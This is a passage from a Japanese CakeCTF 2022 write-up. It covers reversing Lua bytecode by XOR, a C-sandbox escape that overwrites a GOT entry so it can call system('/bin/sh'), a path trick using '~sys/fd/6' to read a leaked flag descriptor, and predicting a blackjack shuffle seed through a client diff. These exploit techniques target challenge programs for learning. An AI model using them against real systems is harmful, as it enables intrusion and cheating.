0 0 ; R9 := false 105 [-]: RETURN R9 2 ; return R9 106 [-]: FORLOOP R5 -15 ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -15 , goto 92 end 107 [-]: LOADBOOL R5 1 0 ; R5 := true 108 [-]: RETURN R5 2 ; return R5 109 [-]: RETURN R0 1 ; return
右のほうに書いてくれているコメントがレジスタのやりとりを書いていそうでわかりやすい。追ってみると何かしらの文字列と入力文字列 (フラグ) の xor をとった結果が、最初のほうで代入されているバイト列と一致するかを確認しています。 xor をとるなんかしらの文字列がどこで定義されているのか不明だったのですが、フラグの先頭が CakeCTF{ となることを利用して求めました。
from pwn import xor enc = bytes([62, 85, 25, 84, 47, 56, 118, 71, 109, 0, 90, 71, 115, 9, 30, 58, 32, 101, 40, 20, 66, 111, 3, 92, 119, 22, 90, 11, 119, 35, 61, 102, 102, 115, 87, 89, 34, 34]) xor(enc, b"aC2202 FTCek")
b"aC2202 FTCek"...?ディスアセンブル結果を誤読しているかもしれない…
CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}
nimrev
246 solves
手元のメモにはフラグしか残されていない…かなり序盤に解いたので記憶にも残っていない… たくさん解かれているので strings でフラグ表示する系か、 gdb で実行したら文字列比較のところでフラグが見えちゃう系の問題だった気がします。
CakeCTF{s0m3t1m3s_n0t_C}
misc
C-Sandbox
20 solves
system などの許可されていない関数 (許可されているのは puts, printf, scanf, exit のみ) を使おうとすると、コンパイルした結果、その関数の前にエラーメッセージを put する処理と exit 処理が付け加えられてしまいます。 しかし逆にいうと exit 処理を無視することさえできれば system とかも呼べてしまうわけです。幸い docker の環境が与えられているのでコンパイルした結果は完全に一緒のはずです。なのでその環境でコンパイルして各シンボルがどこに配置されるか確認し、 その後 GOT を直接代入して exit を呼ばれないようにすれば OK です。 以下は実際に使ったコードです。不要な処理があまりにも多い。
#include <stdio.h> #include <stdlib.h> void nothing(int n) {} int main() { int a; scanf("%d", &a); printf("%d\n", a); printf("%016lx", &printf); unsigned long int **address; *address = 0x404038L; **address = 0x00401040; system("/bin/sh"); exit(0); return 0; }
CakeCTF{briI1ng_yoO0ur_oO0wn_gaA4dgeE3t!}
readme 2022
52 solves
server.pyimport os try: f = open("/flag.txt", "r") except: print("[-] Flag not found. If this message shows up") print(" on the remote server, please report to amdin.") if __name__ == '__main__': filepath = input("filepath: ") if filepath.startswith("/"): exit("[-] Filepath must not start with '/'") elif '..' in filepath: exit("[-] Filepath must not contain '..'") filepath = os.path.expanduser(filepath) try: print(open(filepath, "r").read()) except: exit("[-] Could not open file")
今回の CTF では一番好きな問題かもしれない。 /flag.txt を読みたいのですが、 path の先頭は / にできなかったり ../ がダメだったりと、普通にやったら path を指定できなさそうです。 怪しい部分が os.path.expanduser(filepath) ぐらいなので、この関数の仕様を調べます。 https://docs.python.org/ja/3/library/os.path.html#os.path.expanduser を見ると、 ~ や ~user を絶対パスに置き換えてくれるようです。 ~user は /etc/passwd を参照しているとのこと。 docker 環境を構築して /etc/passwd を確認すると、 sys というユーザーが使えそうでした。 ~sys/ が /dev/ に変換されます。 /dev/ 以下には /dev/fd があります。 ここで問題のソースコードを読み返してみると、 /flag.txt を開いていることに気づきます。どっかの fd が /flag.txt のものになっているはず。6番を見たら (つまり ~sys/fd/6) フラグが手に入りました。
cheat
matsushima3
22 solves
ブラックジャックに勝ちまくればフラグが手に入ります。こんなの山札がどうなってるかわからんと厳しいだろ…と思い、シャッフルがどうなされているか確認しました。
# Shuffle cards deck = [(i // 13, i % 13) for i in range(4*13)] random.seed(int(time.time()) ^ session['user_id']) random.shuffle(deck) session['deck'] = deck
というわけで、 seed の特定が容易です。シードが特定できれば山札も特定できるので、あとは負けないように hit, stand を選ぶだけです。運が悪いとどうしても負けてしまうパターンがあるので、本当は開始時刻や user_id も厳選し、長い目で勝ち続けられるかをシミュレーションすべきっぽい?実装が面倒だったのでそういうことはしませんでした。サーバーにちょっと負荷がかかる実装で申し訳ない…
6a7 > import time 61c62,64 < self.money = self.connection.request('user/new')['money'] --- > response = self.connection.request('user/new') > self.user_id = response["user_id"] > self.money = response['money'] 76,80c79,81 < if pyxel.btnp(pyxel.KEY_Z): # Player chose hit < pyxel.play(3, [0]) < self.notify_action(GameAction.HIT) < < elif pyxel.btnp(pyxel.KEY_X): # Player chose stand --- > # TODO > if self.player_score + self.deck[-1][1] > 21: > self.deck.pop() 82a84,97 > else: > self.deck.pop() > pyxel.play(3, [0]) > current_num_dealer_cards = self.num_dealer_cards > self.notify_action(GameAction.HIT) > for _ in range(self.num_dealer_cards - current_num_dealer_cards): > self.deck.pop() > # if pyxel.btnp(pyxel.KEY_Z): # Player chose hit > # pyxel.play(3, [0]) > # self.notify_action(GameAction.HIT) > > # elif pyxel.btnp(pyxel.KEY_X): # Player chose stand > # pyxel.play(3, [0]) > # self.notify_action(GameAction.STAND) 85,89c100,108 < if pyxel.btnp(pyxel.KEY_Z): < pyxel.play(3, [0]) < self.init_game() < self.state = GameState.GAME < self.frame = 0 --- > # if pyxel.btnp(pyxel.KEY_Z): > # pyxel.play(3, [0]) > # self.init_game() > # self.state = GameState.GAME > # self.frame = 0 > pyxel.play(3, [0]) > self.init_game() > self.state = GameState.GAME > self.frame = 0 200a220,221 > now = int(time.time()) > print(response) 203a225,238 > for i in range(10): > seed = (now - i) ^ self.user_id > deck = [(i // 13, i % 13) for i in range(4*13)] > random.seed(seed) > random.shuffle(deck) > player_hand = [] > dealer_hand = [] > for i in range(2): > player_hand.append(list(deck.pop())) > dealer_hand.append(list(deck.pop())) > if player_hand == self.player_hand: > print(f"{seed = }") > self.deck = deck > break
CakeCTF{INFAMOUS_LOGIC_BUG}